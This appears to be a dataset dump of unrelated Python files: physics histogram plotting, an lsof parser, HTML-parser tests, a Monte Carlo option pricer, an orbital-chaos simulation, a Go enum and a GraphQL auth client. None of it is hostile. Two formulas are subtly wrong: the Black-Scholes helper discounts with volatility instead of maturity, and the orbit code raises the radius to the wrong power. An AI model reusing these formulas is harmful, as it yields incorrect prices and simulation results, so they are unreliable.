yrange1up = 30\n plotSuffix = \"BkgEBeam0.826_SignalHics3000nmOld_PerBX_NoRemoveDuplicateTracks\"\n latexName = 'sig from e+laser (old)'\n \n \n else:\n #### signal and background file\n signalAndBackgroundBX1 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX1_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n signalAndBackgroundBX2 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX2_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n signalAndBackgroundBX3 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX3_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n signalAndBackgroundBX4 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX4_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n\n\n #### only signal file\n signalFromBkgFileBX1 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX1_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n signalFromBkgFileBX2 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX2_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n signalFromBkgFileBX3 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX3_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n signalFromBkgFileBX4 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics5000nmProvisional_BX4_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n\n yrange1up = 450\n plotSuffix = \"BkgEBeam0.826_SignalHics5000nmProvisional_PerBX_NoRemoveDuplicateTracks\"\n latexName = 'sig from e+laser (updated)'\n\n\n\n hSeedEnergy_signalAndBackgroundBX1 = signalAndBackgroundBX1.Get(\"hSeedEnergy\")\n hSeedEnergy_signalAndBackgroundBX2 = signalAndBackgroundBX2.Get(\"hSeedEnergy\")\n hSeedEnergy_signalAndBackgroundBX3 = signalAndBackgroundBX3.Get(\"hSeedEnergy\")\n hSeedEnergy_signalAndBackgroundBX4 = signalAndBackgroundBX4.Get(\"hSeedEnergy\")\n\n hSeedEnergy_signalAndBackgroundBX1.Add(hSeedEnergy_signalAndBackgroundBX2)\n hSeedEnergy_signalAndBackgroundBX1.Add(hSeedEnergy_signalAndBackgroundBX3)\n hSeedEnergy_signalAndBackgroundBX1.Add(hSeedEnergy_signalAndBackgroundBX4)\n \n hSeedEnergy_signalAndBackgroundBX1.Rebin(4)\n\n\n hSignalEnergyBX1 = signalFromBkgFileBX1.Get(\"hSigEnergy\")\n hSignalEnergyBX2 = signalFromBkgFileBX2.Get(\"hSigEnergy\")\n hSignalEnergyBX3 = signalFromBkgFileBX3.Get(\"hSigEnergy\")\n hSignalEnergyBX4 = signalFromBkgFileBX4.Get(\"hSigEnergy\")\n\n hSignalEnergyBX1.Add(hSignalEnergyBX2)\n hSignalEnergyBX1.Add(hSignalEnergyBX3)\n hSignalEnergyBX1.Add(hSignalEnergyBX4)\n \n hSignalEnergyBX1.Rebin(4)\n\n\n hSeedEnergyMatchedBX1 = signalFromBkgFileBX1.Get(\"hSeedEnergy\")\n hSeedEnergyMatchedBX2 = signalFromBkgFileBX2.Get(\"hSeedEnergy\")\n hSeedEnergyMatchedBX3 = signalFromBkgFileBX3.Get(\"hSeedEnergy\")\n hSeedEnergyMatchedBX4 = signalFromBkgFileBX4.Get(\"hSeedEnergy\")\n\n\n hSeedEnergyMatchedBX1.Add(hSeedEnergyMatchedBX2)\n hSeedEnergyMatchedBX1.Add(hSeedEnergyMatchedBX3)\n hSeedEnergyMatchedBX1.Add(hSeedEnergyMatchedBX4)\n \n hSeedEnergyMatchedBX1.Rebin(4)\n\n\n\n FirstTH1 = [hSignalEnergyBX1, hSeedEnergy_signalAndBackgroundBX1, hSeedEnergyMatchedBX1]\n\n PlotColor = [kGray, 2, 4]\n LegendName = ['sig, from Geant4', 'seed (sig+bkg)', 'seed (sig matched)']\n\n xAxisName = \"E [GeV]\"\n yAxisName = \"Particles/4.0BX\"\n xrange1down = 0\n xrange1up = 17\n yrange1down = 0.001\n \n yline1low = 1\n yline1up = 1\n\n drawline = False\n logy = False\n \n latexName2 = 'bkg from e-beam only'\n latexName3 = ''\n leftLegend = False\n doAtlas = False\n doLumi = False\n noRatio = False\n do80 = False\n do59 = False\n drawPattern = \"\"\n logz = False\n logx = False\n\n h2 = hSeedEnergy_signalAndBackgroundBX1.Clone(\"h2\")\n h2.Reset()\n h2.GetYaxis().SetTitle(\"#frac{seed energy (reco, sig+bkg)}{energy (sig, from Geant4)}\")\n\n h3 = hSeedEnergy_signalAndBackgroundBX1.Clone(\"h3\")\n h3.Reset()\n h3.GetYaxis().SetTitle(\"#frac{seed energy (reco, sig matched)}{energy (sig, from Geant4)}\")\n\n\n\n DrawHists(FirstTH1, LegendName, PlotColor,xAxisName, yAxisName, xrange1down, xrange1up, yrange1down, yrange1up, directory+\"/energyDistributionSeedAndSignal_\"+plotSuffix, yline1low, yline1up, drawline, logy, latexName, latexName2, latexName3, leftLegend, doAtlas, doLumi, noRatio, do80, do59, drawPattern, logz, logx)\n\n drawline = True\n DrawHistsRatioTwo(FirstTH1, LegendName, PlotColor, xrange1down, xrange1up, yrange1down, yrange1up, directory+\"/energyDistributionSeedAndSignal_WithRatio_\"+plotSuffix, h2, h3, yline1low, yline1up, drawline, logy, False, False, latexName, latexName2, latexName3)\n\n\nif __name__==\"__main__\":\n start = time.time()\n main()\n print(\"The time taken: \", time.time() - start, \" s\")\n","sub_path":"plotEnergyPerBX.py","file_name":"plotEnergyPerBX.py","file_ext":"py","file_size_in_byte":7572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"441061951","text":"# -*- coding: iso-8859-1 -*-\n#\n# $Id: sasnProcess.py,v 1.76 2013/03/20 15:19:56 xjoaalm Exp $\n#\n# Copyright (c) Ericsson Espaņa S.A., 2011.\n# All rights reserved.\n#\n# This product or document is proprietary to and embodies the\n# confidential technology of Ericsson Espaņa S.A.\n# Possession, use, duplication or distribution of this product\n# or document is authorized only pursuant to a valid written\n# license from Ericsson Espaņa S.A\n#\n\"\"\"\nUtility class for obtaining \"lsof\" command information. After a instance of this\nclass is created, \"lsof\" information is retrieved from the command.\nThis info is parsed and converted to a dictionary format.\n\"\"\"\n\nimport re\nimport logging\n\nfrom NSTpyfw.utils.libssh.sshconnectionmanager import SSHConnectionManager\nfrom metrics_info import MetricsInfo\n\nclass LSOFInfo(MetricsInfo):\n \"\"\"\n Encapsulates lsof command info\n The output of the command is:\np1\ncinit\nu0\nfmem\ntREG\nD0x6806\ns459464\ni286095\nn/sbin/init\n\n \"\"\"\n COMMAND = \"lsof -FcuftDsin\"\n\n COMMAND_HEADERS = {\"p\": (\"PID\", True),\n \"c\": (\"COMMAND\", True),\n \"u\": (\"USER\", True),\n \"f\": (\"FD\", False),\n \"t\": (\"TYPE\", False),\n \"D\": (\"DEVICE\", False),\n \"s\": (\"SIZE\", False),\n \"i\": (\"NODE\", False),\n \"n\": (\"NAME\", False)\n }\n HEADER_START = \"COMMAND\"\n LINE_PARSER = \"([^\\s]+)\"\n \n def __init__(self, ssh_connection=None, *args, **kwargs):\n \"\"\"\n Constructor.\n \"\"\"\n \n super(LSOFInfo, self).__init__(ssh_connection, **kwargs)\n\n\n if self.ssh_connection:\n self.update_metrics_info()\n ## End If\n ## END METHOD __init__()\n \n def __eq__(self, other):\n \"\"\"\n Compares two objects\n \"\"\"\n return self.metrics_info == other.get_metrics_info()\n \n def update_metrics_info(self):\n \"\"\"\n This method should run the specific command to retrieve the metrics information\n and update the value of self.metrics_info. The command output information\n should be parsed using the \"parse\" method of the class.\n \"\"\"\n assert self.COMMAND, \"Impossible to update metrics info. Command not found\"\n cmd = self.COMMAND\n if self.ssh_connection:\n status, metrics_info, stderr = self.ssh_connection.send_command(cmd)\n if SSHConnectionManager.SSH_OK != status:\n logging.getLogger(\"NSTlogger\").error(\"Error executing lsof command: %s\" % stderr)\n self.metrics_info = None\n return\n ## End if\n else:\n metrics_info, _ = self._execute_system_info_command(cmd)\n ## End If\n \n self.parse(metrics_info)\n \n \n def parse(self, metrics_info):\n \"\"\"\n Abstract method.It should be overwritten by children.\n This method should parse the output information of the specific command \n and update the value of self.metrics_info.\n \n @param metrics_info: The result of the \"ps\" command execution\n @type metrics_info: list(str)\n \"\"\"\n \n self.metrics_info = []\n headers = dict(zip([_key for _key,_ in self.COMMAND_HEADERS.values()], [\"\" for _ in range(len(self.COMMAND_HEADERS.values()))]))\n header_last_char = []\n after_header = False\n splitter = re.compile(self.LINE_PARSER)\n my_item = headers.copy()\n for line in metrics_info:\n line = line.strip()\n if 0 >= len(line):\n continue\n ## End If\n\n my_item[self.COMMAND_HEADERS[line[0]][0]] = line[1:]\n if line.startswith(\"D\"):\n hex_num = line[line.index('x')+1:]\n if len(hex_num) < 3:\n first = 0\n second =int(hex_num, 16)\n elif len(hex_num) == 3:\n first = int(hex_num[0], 16)\n second = int(hex_num[1]+hex_num[2], 16)\n else:\n first = int(hex_num[0]+hex_num[1], 16)\n second = int(hex_num[2]+hex_num[3], 16)\n ## End If\n my_item[self.COMMAND_HEADERS[line[0]][0]] = \"%s,%s\" % (first, second)\n elif line.startswith(\"n\"):\n self.metrics_info.append(my_item)\n _tmp_item = headers.copy()\n for _, _val in self.COMMAND_HEADERS.iteritems():\n if _val[1]:\n _tmp_item[_val[0]] = my_item[_val[0]]\n ## End If\n ## End If\n my_item = _tmp_item\n ## End If\n ## End For\n return self.metrics_info\n ## END METHOD parse()\n## END CLASS LSOFInfo( )\n","sub_path":"sds/back_test/ref/metrics/lsof_info.py","file_name":"lsof_info.py","file_ext":"py","file_size_in_byte":4889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"630091304","text":"import sys\nfrom tests import TestCase\nfrom monitorrent.utils.soup import get_soup\n# noinspection PyProtectedMember\nfrom bs4.builder._htmlparser import HTMLParserTreeBuilder\n# noinspection PyProtectedMember\nfrom bs4.builder._lxml import LXMLTreeBuilder\n# noinspection PyProtectedMember\nfrom bs4.builder._html5lib import HTML5TreeBuilder\n\n\nclass GetSoupTest(TestCase):\n CONTENT = \"\"\"\n \n \n The Title\n \n \n
    \n
  • Value 1\n
  • Value 2\n
  • Value 3\n
\n \n \n \"\"\"\n\n def test_default_not_lxml_parser(self):\n lxml_module = sys.modules.get('lxml', None)\n if 'lxml' in sys.modules:\n del sys.modules['lxml']\n\n try:\n soup = get_soup(self.CONTENT)\n\n self.assertIsNotNone(soup)\n self.assertTrue(isinstance(soup.builder, HTMLParserTreeBuilder))\n finally:\n if lxml_module:\n sys.modules['lxml'] = lxml_module\n\n def test_default_lxml_parser(self):\n soup = get_soup(self.CONTENT)\n\n self.assertIsNotNone(soup)\n self.assertTrue(isinstance(soup.builder, LXMLTreeBuilder))\n\n def test_direct_html5lib_parser(self):\n soup = get_soup(self.CONTENT, 'html5lib')\n\n self.assertIsNotNone(soup)\n self.assertTrue(isinstance(soup.builder, HTML5TreeBuilder))\n\n def test_direct_lxml_parser(self):\n soup = get_soup(self.CONTENT, 'lxml')\n\n self.assertIsNotNone(soup)\n self.assertTrue(isinstance(soup.builder, LXMLTreeBuilder))\n","sub_path":"tests/utils/test_get_soup.py","file_name":"test_get_soup.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"399486713","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/11/21\n# @Author : Wei Jian\n# @Email : jesseweifj@gmail.com\n# @File : Euro_Option.py\n\nimport numpy as np\nimport pandas as pd\n\nfrom daycounter.DayCounter import DayCounter_30_360\nfrom discounter.Discounter import ConstantDiscounter\nfrom simulation.Simulation import GeometricBrownianMotion\nfrom valuation.Valuation import Valuation\n\n\nclass Euro_Option(Valuation):\n def __init__(self, option , num_paths = 10000):\n simulation = GeometricBrownianMotion(option,num_paths)\n discounter = ConstantDiscounter(option.paras[\"risk_free\"])\n daycounter = DayCounter_30_360()\n super(Euro_Option, self).__init__(simulation, discounter, daycounter, option)\n\n\n def generate_payoff(self, fixed_seed=True):\n price_paths = self.simulation.get_price_paths(fixed_seed=fixed_seed)\n # time_grid = self.simulation.time_grid\n maturity_date = self.option.paras[\"maturity_date\"]\n maturity_value = price_paths[-1]\n strike = self.option.paras[\"strike\"]\n payoff = maturity_value - strike\n payoff = np.where(payoff > 0, payoff , 0)\n payoff = pd.DataFrame(payoff.T, index=[maturity_date])\n\n return payoff\n\n\nif __name__ == '__main__':\n from math import sqrt, log, exp\n from scipy.stats import norm\n import datetime as dt\n from simulation.Simulation import Option\n\n def call_option_pricer(spot, strike, maturity, r, vol):\n d1 = (log(spot / strike) + (r + 0.5 * vol * vol) * maturity) / (vol * sqrt(maturity))\n d2 = d1 - vol * sqrt(maturity)\n\n price = spot * norm.cdf(d1) - strike * exp(-r * vol) * norm.cdf(d2)\n return price\n\n spot = 2.45\n strike = 2.50\n maturity = 0.25\n r = 0.05\n vol = 0.25\n print('期权价格:%.4f' % call_option_pricer(spot, strike, maturity, r, vol))\n delta = (call_option_pricer(spot+0.05, strike, maturity, r, vol) - call_option_pricer(spot, strike, maturity, r, vol))/0.05\n print('对冲比率:%.4f' % delta)\n\n\n paras = {}\n paras[\"pricing_date\"] = dt.datetime(2017, 10, 17)\n paras[\"settlement_date\"] = dt.datetime(2017, 10, 17)\n paras[\"maturity_date\"] = dt.datetime(2018, 1, 17)\n\n paras[\"risk_free\"] = np.array([0.05])\n paras[\"initial_prices\"] = np.array([2.45])\n paras[\"dividend_rate\"] = np.array([0.0])\n paras[\"repo_rate\"] = np.array([0.0])\n paras[\"volatility\"] = np.array([0.25])\n\n drift_rate = paras[\"risk_free\"] - paras[\"dividend_rate\"] - paras[\"repo_rate\"]\n paras[\"drift_rate\"] = drift_rate\n paras[\"strike\"] = 2.50\n\n option = Option(**paras)\n\n g = GeometricBrownianMotion(option)\n eu = Euro_Option(option, num_paths= 1000000)\n eu.present_value(fixed_seed = False)\n eu.delta()\n\n eu.gamma()\n eu.theta()\n eu.vega()\n eu.rho()\n\n self = eu\n","sub_path":"Monte_Carlo_Framework/valuation/Euro_Option.py","file_name":"Euro_Option.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"13405951","text":"import math\r\ntheta_1 = []\r\nomega_1 = []\r\nt_1 = []\r\nv_x_1 = []\r\nv_y_1 = []\r\nx1 = []\r\ny1 = []\r\ntheta_1.append(0)\r\nomega_1.append(0)\r\nt_1.append(0)\r\nv_x_1.append(0)\r\ne=0\r\nv_min = 2* math.pi * ((1-e)/((1+e)))**0.5\r\nv_y_1.append(v_min)\r\ndt = 0.0001\r\nx1.append(1.0)\r\ny1.append(0)\r\nfor i in range(int(100000)):\r\n\ttmp1 = omega_1[i]-dt*3*12*math.pi*(x1[i]*math.sin(theta_1[i])-y1[i]*math.cos(theta_1[i]))*(x1[i]*math.cos(theta_1[i])+y1[i]*math.sin(theta_1[i]))/((x1[i]**2+y1[i]**2)**0.5**5)\r\n\tomega_1.append(tmp1)\r\n\ttmp2 = theta_1[i]+omega_1[i+1]*dt\r\n\ttheta_1.append(tmp2)\r\n\ttmp3 = v_x_1[i]-4*math.pi**2*x1[i]*dt/((x1[i]**2+y1[i]**2)**0.5**3)\r\n\tv_x_1.append(tmp3)\r\n\ttmp4 = x1[i]+v_x_1[i+1]*dt\r\n\ttmp5 = v_y_1[i]-4*math.pi**2*y1[i]*dt/((x1[i]**2+y1[i]**2)**0.5**3)\r\n\tv_y_1.append(tmp5)\r\n\ttmp6 = y1[i]+v_y_1[i+1]*dt\r\n\tx1.append(tmp4)\r\n\ty1.append(tmp6)\r\n\ttmp7 = t_1[i] + dt\r\n\tt_1.append(tmp7)\r\ntheta_2 = []\r\nomega_2 = []\r\nt_2 = []\r\nv_x_2 = []\r\nv_y_2 = []\r\nx2 = []\r\ny2 = []\r\ntheta_2.append(0.01)\r\nomega_2.append(0)\r\nt_2.append(0)\r\nv_x_2.append(0)\r\nv_y_2.append(v_min)\r\nx2.append(1.0)\r\ny2.append(0)\r\nfor i in range(int(100000)):\r\n\ttmp1 = omega_2[i]-dt*3*12*math.pi*(x2[i]*math.sin(theta_2[i])-y2[i]*math.cos(theta_2[i]))*(x2[i]*math.cos(theta_2[i])+y2[i]*math.sin(theta_2[i]))/((x2[i]**2+y2[i]**2)**0.5**5)\r\n\tomega_2.append(tmp1)\r\n\ttmp2 = theta_2[i]+omega_2[i+1]*dt\r\n\ttheta_2.append(tmp2)\r\n\ttmp3 = v_x_2[i]-4*math.pi**2*x2[i]*dt/((x2[i]**2+y2[i]**2)**0.5**3)\r\n\tv_x_2.append(tmp3)\r\n\ttmp4 = x2[i]+v_x_2[i+1]*dt\r\n\ttmp5 = v_y_2[i]-4*math.pi**2*y2[i]*dt/((x2[i]**2+y2[i]**2)**0.5**3)\r\n\tv_y_2.append(tmp5)\r\n\ttmp6 = y2[i]+v_y_2[i+1]*dt\r\n\tx2.append(tmp4)\r\n\ty2.append(tmp6)\r\n\ttmp7 = t_2[i] + dt\r\n\tt_2.append(tmp7)\r\ndelta = []\r\ndelta.append(0.01)\r\nfor i in range(int(100000)):\r\n\ttmp1 = abs(theta_1[i]-theta_2[i])\r\n\tdelta.append(tmp1)\r\n\r\n\r\ntheta_3 = []\r\nomega_3 = []\r\nt_3 = []\r\nv_x_3 = []\r\nv_y_3 = []\r\nx3 = []\r\ny3 = []\r\ntheta_3.append(0)\r\nomega_3.append(0)\r\nt_3.append(0)\r\nv_x_3.append(0)\r\nv_y_3.append(1.0)\r\nx3.append(1.0)\r\ny3.append(0)\r\nfor i in range(int(100000)):\r\n\ttmp1 = omega_3[i]-dt*3*12*math.pi*(x3[i]*math.sin(theta_3[i])-y3[i]*math.cos(theta_3[i]))*(x3[i]*math.cos(theta_3[i])+y3[i]*math.sin(theta_3[i]))/((x3[i]**2+y3[i]**2)**0.5**5)\r\n\tomega_3.append(tmp1)\r\n\ttmp2 = theta_3[i]+omega_3[i+1]*dt\r\n\ttheta_3.append(tmp2)\r\n\ttmp3 = v_x_3[i]-4*math.pi**2*x3[i]*dt/((x3[i]**2+y3[i]**2)**0.5**3)\r\n\tv_x_3.append(tmp3)\r\n\ttmp4 = x3[i]+v_x_3[i+1]*dt\r\n\ttmp5 = v_y_3[i]-4*math.pi**2*y3[i]*dt/((x3[i]**2+y3[i]**2)**0.5**3)\r\n\tv_y_3.append(tmp5)\r\n\ttmp6 = y3[i]+v_y_3[i+1]*dt\r\n\tx3.append(tmp4)\r\n\ty3.append(tmp6)\r\n\ttmp7 = t_3[i] + dt\r\n\tt_3.append(tmp7)\r\ntheta_4 = []\r\nomega_4 = []\r\nt_4 = []\r\nv_x_4 = []\r\nv_y_4 = []\r\nx4 = []\r\ny4 = []\r\ntheta_4.append(0.01)\r\nomega_4.append(0)\r\nt_4.append(0)\r\nv_x_4.append(0)\r\nv_y_4.append(5.0)\r\nx4.append(1.0)\r\ny4.append(0)\r\nfor i in range(int(100000)):\r\n\ttmp1 = omega_4[i]-dt*3*12*math.pi*(x4[i]*math.sin(theta_4[i])-y4[i]*math.cos(theta_4[i]))*(x4[i]*math.cos(theta_4[i])+y4[i]*math.sin(theta_4[i]))/((x4[i]**2+y4[i]**2)**0.5**5)\r\n\tomega_4.append(tmp1)\r\n\ttmp2 = theta_4[i]+omega_4[i+1]*dt\r\n\ttheta_4.append(tmp2)\r\n\ttmp3 = v_x_4[i]-4*math.pi**2*x4[i]*dt/((x4[i]**2+y4[i]**2)**0.5**3)\r\n\tv_x_4.append(tmp3)\r\n\ttmp4 = x4[i]+v_x_4[i+1]*dt\r\n\ttmp5 = v_y_4[i]-4*math.pi**2*y4[i]*dt/((x4[i]**2+y4[i]**2)**0.5**3)\r\n\tv_y_4.append(tmp5)\r\n\ttmp6 = y4[i]+v_y_4[i+1]*dt\r\n\tx4.append(tmp4)\r\n\ty4.append(tmp6)\r\n\ttmp7 = t_4[i] + dt\r\n\tt_4.append(tmp7)\r\ndelta_1 = []\r\ndelta_1.append(0.01)\r\nfor i in range(int(100000)):\r\n\ttmp1 = abs(theta_3[i]-theta_4[i])\r\n\tdelta_1.append(tmp1)\r\n\r\nfrom pylab import *\r\nfigure(figsize=(20,10),dpi=100)\r\ntitle('Hyperion')\r\nsubplot(121)\r\ntitle('Circular orbit')\r\nylabel('$\\delta \\theta $')\r\nxlabel('time')\r\nscatter(t_1,delta,c='blue',s=0.1)\r\nsubplot(122)\r\ntitle('Elliptical orbit')\r\nylabel('$\\delta \\theta $')\r\nxlabel('time')\r\nplot(t_1,delta_1,c='blue')\r\nshow()","sub_path":"homework_12/homework_12_2.py","file_name":"homework_12_2.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"407400402","text":"import enum\n\n\"\"\" Copyright 2016, 2017 Philippe Carphin\"\"\"\n\n\"\"\" This file is part of go_sgf_to_igo_latex.\n\ngo_sgf_to_igo_latex is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\ngo_sgf_to_igo_latex is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with go_sgf_to_igo_latex. If not, see .\"\"\"\n\n\"\"\" EXPERIMENTATION WITH PYTHON ENUMS, NOT USED ANYWHERE \"\"\"\nif __name__ != \"__main__\":\n assert 0, \"I should remove the above comment if I start using this module\"\n\n\nclass Color(enum.Enum):\n W = 1\n B = -1\n\n\nclass Turn(object):\n def __init__(self, color=Color.B):\n self.color = color\n\n def __invert__(self):\n if self.color == Color.B:\n c = Color.W\n elif self.color == Color.W:\n c = Color.B\n return Turn(c)\n\n def __str__(self):\n return str(self.color)\n\n\nclass RuleSet(enum.Enum):\n CHINESE = 1\n JAPANESE = 2\n","sub_path":"python/igo/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"539786324","text":"from igloo.models.user import User\r\nfrom igloo.models.permanent_token import PermanentToken\r\nfrom igloo.models.pending_environment_share import PendingEnvironmentShare\r\nfrom igloo.models.environment import Environment\r\nfrom igloo.models.thing import Thing\r\nfrom igloo.models.value import Value\r\nfrom igloo.models.float_value import FloatVariable\r\nfrom igloo.models.pending_owner_change import PendingOwnerChange\r\nfrom igloo.models.notification import Notification\r\nfrom igloo.models.boolean_value import BooleanVariable\r\nfrom igloo.models.string_value import StringVariable\r\nfrom igloo.models.float_series_value import FloatSeriesVariable\r\nfrom igloo.models.category_series_value import CategorySeriesVariable\r\nfrom igloo.models.category_series_node import CategorySeriesNode\r\nfrom igloo.models.file_value import FileVariable\r\nfrom igloo.models.float_series_node import FloatSeriesNode\r\nfrom igloo.utils import parse_arg\r\n\r\n\r\nasync def _asyncWrapWith(res, wrapper_fn):\r\n result = await res\r\n return wrapper_fn(result[\"id\"])\r\n\r\n\r\ndef wrapById(res, wrapper_fn):\r\n if isinstance(res, dict):\r\n return wrapper_fn(res[\"id\"])\r\n else:\r\n return _asyncWrapWith(res, wrapper_fn)\r\n\r\n\r\ndef wrapWith(res, wrapper_fn):\r\n if isinstance(res, dict):\r\n return wrapper_fn(res)\r\n else:\r\n return _asyncWrapWith(res, wrapper_fn)\r\n\r\n\r\nclass MutationRoot:\r\n def __init__(self, client):\r\n self.client = client\r\n\r\n def verifyPassword(self, email, password):\r\n email_arg = parse_arg(\"email\", email)\r\n password_arg = parse_arg(\"password\", password)\r\n\r\n return self.client.mutation('mutation{verifyPassword(%s%s)}' % (email_arg, password_arg))[\"verifyPassword\"]\r\n\r\n def verifyWebAuthn(self, challengeResponse, jwtChallenge):\r\n challengeResponse_arg = parse_arg(\r\n \"challengeResponse\", challengeResponse)\r\n jwtChallenge_arg = parse_arg(\"jwtChallenge\", jwtChallenge)\r\n\r\n return self.client.mutation('mutation{verifyWebAuthn(%s%s)}' % (challengeResponse_arg, jwtChallenge_arg))[\"verifyWebAuthn\"]\r\n\r\n def verifyTotp(self, email, code):\r\n email_arg = parse_arg(\"email\", email)\r\n code_arg = parse_arg(\"code\", code)\r\n\r\n return self.client.mutation('mutation{verifyTotp(%s%s)}' % (email_arg, code_arg))[\"verifyTotp\"]\r\n\r\n def verifyEmailToken(self, token):\r\n token_arg = parse_arg(\"token\", token)\r\n\r\n return self.client.mutation('mutation{verifyEmailToken(%s)}' % (token_arg))[\"verifyEmailToken\"]\r\n\r\n def sendConfirmationEmail(self, email, operation):\r\n email_arg = parse_arg(\"email\", email)\r\n operation_arg = parse_arg(\"operation\", operation, is_enum=True)\r\n\r\n return self.client.mutation('mutation{sendConfirmationEmail(%s%s)}' % (email_arg, operation_arg))[\"sendConfirmationEmail\"]\r\n\r\n async def _wrapLogIn(self, res):\r\n resDict = await res\r\n self.client.set_token(resDict[\"token\"])\r\n resDict[\"user\"] = User(self.client)\r\n return resDict\r\n\r\n def logIn(self, passwordCertificate=None, webAuthnCertificate=None, totpCertificate=None, emailCertificate=None):\r\n passwordCertificate_arg = parse_arg(\r\n \"passwordCertificate\", passwordCertificate)\r\n webAuthnCertificate_arg = parse_arg(\r\n \"webAuthnCertificate\", webAuthnCertificate)\r\n totpCertificate_arg = parse_arg(\"totpCertificate\", totpCertificate)\r\n emailCertificate_arg = parse_arg(\"emailCertificate\", emailCertificate)\r\n\r\n res = self.client.mutation('mutation{logIn(%s%s%s%s){user{id} token}}' % (\r\n passwordCertificate_arg, webAuthnCertificate_arg, totpCertificate_arg, emailCertificate_arg))[\"logIn\"]\r\n\r\n if isinstance(res, dict):\r\n self.client.set_token(res[\"token\"])\r\n res[\"user\"] = User(self.client)\r\n return res\r\n else:\r\n return self._wrapLogIn(res)\r\n\r\n def createToken(self, tokenType, passwordCertificate=None, webAuthnCertificate=None, totpCertificate=None, emailCertificate=None):\r\n tokenType_arg = parse_arg(\"tokenType\", tokenType, is_enum=True)\r\n passwordCertificate_arg = parse_arg(\r\n \"passwordCertificate\", passwordCertificate)\r\n webAuthnCertificate_arg = parse_arg(\r\n \"webAuthnCertificate\", webAuthnCertificate)\r\n totpCertificate_arg = parse_arg(\"totpCertificate\", totpCertificate)\r\n emailCertificate_arg = parse_arg(\"emailCertificate\", emailCertificate)\r\n return self.client.mutation('mutation{createToken(%s%s%s%s%s)}' % (passwordCertificate_arg, webAuthnCertificate_arg, totpCertificate_arg, emailCertificate_arg, tokenType_arg))[\"createToken\"]\r\n\r\n def createPermanentToken(self, name):\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n res = self.client.mutation('mutation{createPermanentToken(%s){id}}' % (name_arg))[\r\n \"createPermanentToken\"]\r\n\r\n def wrapper(id):\r\n return PermanentToken(self.client, id)\r\n\r\n return wrapById(res, wrapper)\r\n\r\n def regeneratePermanentToken(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{regeneratePermanentToken(%s)}' % (id_arg))[\"regeneratePermanentToken\"]\r\n\r\n def deletePermanentToken(self, id):\r\n id_arg = parse_arg(\"id\", id)\r\n\r\n return self.client.mutation('mutation{deletePermanentToken(%s)}' % (id_arg))[\"deletePermanentToken\"]\r\n\r\n async def _wrapSignUp(self, res):\r\n result = await res\r\n result[\"user\"] = User(self.client)\r\n\r\n return result\r\n\r\n def signUp(self, email, name):\r\n email_arg = parse_arg(\"email\", email)\r\n name_arg = parse_arg(\"name\", name)\r\n\r\n res = self.client.mutation('mutation{signUp(%s%s){user{id} changeAuthenticationToken}}' % (\r\n email_arg, name_arg))[\"signUp\"]\r\n\r\n if isinstance(res, dict):\r\n res[\"user\"] = User(self.client, res[\"user\"][\"id\"])\r\n return res\r\n else:\r\n return self._wrapSignUp(res)\r\n\r\n def setPassword(self, password):\r\n password_arg = parse_arg(\"password\", password)\r\n\r\n res = self.client.mutation(\r\n 'mutation{setPassword(%s){token user{id}}}' % (password_arg))[\"setPassword\"]\r\n\r\n def wrapper(res):\r\n res[\"user\"] = User(self.client, res[\"user\"][\"id\"])\r\n\r\n return res\r\n\r\n return wrapWith(res, wrapper)\r\n\r\n def setTotp(self, code, secret):\r\n\r\n code_arg = parse_arg(\"code\", code)\r\n secret_arg = parse_arg(\"secret\", secret)\r\n return self.client.mutation('mutation{setTotp(%s%s)}' % (code_arg, secret_arg))[\"setTotp\"]\r\n\r\n def setWebAuthn(self, challengeResponse, jwtChallenge):\r\n\r\n challengeResponse_arg = parse_arg(\r\n \"challengeResponse\", challengeResponse)\r\n jwtChallenge_arg = parse_arg(\"jwtChallenge\", jwtChallenge)\r\n res = self.client.mutation('mutation{setWebAuthn(%s%s){token user{id}}}' % (\r\n challengeResponse_arg, jwtChallenge_arg))[\"setWebAuthn\"]\r\n\r\n def wrapper(res):\r\n res[\"user\"] = User(self.client, res[\"user\"][\"id\"])\r\n\r\n return res\r\n\r\n return wrapWith(res, 